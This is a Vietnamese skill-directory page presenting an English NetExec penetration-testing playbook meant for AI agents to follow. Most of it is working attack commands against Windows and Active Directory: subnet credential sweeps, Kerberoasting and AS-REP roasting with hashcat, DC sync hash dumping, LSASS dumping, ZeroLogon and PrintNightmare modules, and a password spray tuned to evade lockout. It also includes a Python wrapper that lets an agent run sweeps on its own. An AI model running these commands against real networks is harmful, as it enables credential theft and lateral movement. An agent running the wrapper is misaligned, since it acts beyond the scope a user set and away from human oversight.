Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13944

netexec

Skill này làm gì

Skill này là hướng dẫn thực hành về NetExec, một công cụ dòng lệnh để kiểm tra đăng nhập và cài đặt dịch vụ trên toàn mạng. Skill dành cho người kiểm thử bảo mật có văn bản cho phép đối với mạng họ kiểm thử.

Khi nào nên dùng

  • ✓Khi người kiểm thử bảo mật cần kiểm tra máy nào trong một dải được ủy quyền chấp nhận bộ thông tin đăng nhập thử.
  • ✓Khi agent phải chạy một module NetExec để thu thập chi tiết Windows hoặc Active Directory.
  • ✓Khi một đội muốn có bảng tóm tắt ngắn các lệnh NetExec thường dùng.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể dùng NetExec kiểm tra xem các máy trong mạng con kiểm thử được ủy quyền của chúng tôi có chấp nhận tài khoản kiểm thử không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent chạy NetExec với giao thức đã chọn và chi tiết kiểm thử, đọc kết quả của từng máy và tóm tắt những gì đã tìm thấy.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

NetExec (nxc) Playbook

NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.

1. Install

pipx install netexec      # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .

2. Protocol auth sweep

# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24

# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931...  # NTLM hash

# Across protocols — same creds, different services
nxc ldap   $DC -u alice -p $PW
nxc mssql  10.0.0.5 -u alice -p $PW
nxc winrm  10.0.0.5 -u alice -p $PW
nxc rdp    10.0.0.5 -u alice -p $PW
nxc ssh    10.0.0.5 -u alice -p $PW

# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC

3. Critical modules

3.1 BloodHound auto-collect (built-in)

nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
  --dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound

3.2 ADCS ESC1-15 scan

nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags

3.3 Kerberoasting

nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt

3.4 AS-REP roasting

nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt

3.5 Spider SMB shares

nxc smb 10.0.0.0/24 -u alice -p $PW \
  --spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
  --output-folder /tmp/spider

3.6 DC sync (when authorized as DA)

nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output

3.7 Password spray (with lockout protection)

nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout

3.8 Module catalog

nxc smb -L                          # all SMB modules
nxc ldap -L                         # all LDAP modules
nxc smb -M lsassy -o ...            # use lsassy module to dump LSASS
nxc smb -M wcc                      # Windows Configuration Collector
nxc smb -M printnightmare           # PrintNightmare CVE-2021-34527
nxc smb -M zerologon                # ZeroLogon CVE-2020-1472
nxc smb -M scuffy                   # scf file for credential coercion

4. Output formats

nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv  /tmp/nxc.csv

NetExec also writes to ~/.nxc/ SQLite DB by default — query w/ nxcdb:

nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds

5. Decepticon integration

When agent has any valid AD cred (recon or roast), the first move should be nxc smb cred-sweep across the subnet. It surfaces:

  • Local admin reuse (massively common; instant lateral)
  • SMB signing disabled (relay target)
  • Shares accessible (PII / cred farming)
  • OS version + domain membership

Wrap as Decepticon tool:

# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool

def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
    """Run nxc across targets; parse JSON output; promote findings to KG."""
    cmd = f"nxc {protocol} {targets} -u {user}"
    if len(pw_or_hash) == 32 + 1 + 32:  # LM:NT hash
        cmd += f" -H {pw_or_hash}"
    else:
        cmd += f" -p {shlex.quote(pw_or_hash)}"
    if modules:
        for m in modules:
            cmd += f" -M {m}"
    cmd += " --json /tmp/nxc.json"
    result = bash_tool(cmd)
    if Path("/tmp/nxc.json").exists():
        return json.loads(Path("/tmp/nxc.json").read_text())
    return {"error": "no json output"}

6. PoC framing

# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target

7. Severity

  • (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
  • SMB signing disabled in production: High 7-8 (relay attack possible)
  • Shares world-readable w/ PII: Critical depending on data

8. Defender

  • Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings →
Câu hỏi thường gặp

NetExec là gì?

Đây là công cụ mã nguồn mở hoạt động với nhiều giao thức mạng như SMB, LDAP và WinRM, và là bản kế thừa của CrackMapExec.

Công cụ có quét được bất kỳ mạng nào không?

Skill chỉ dành cho mục tiêu được ủy quyền, và agent phải xác nhận phạm vi trước khi quét.

Skill có hướng dẫn cài đặt không?

Có. Skill chỉ cách cài công cụ bằng pipx hoặc từ mã nguồn dự án.

Chi tiết

Mô tả gốc của tác giả

NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13944
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự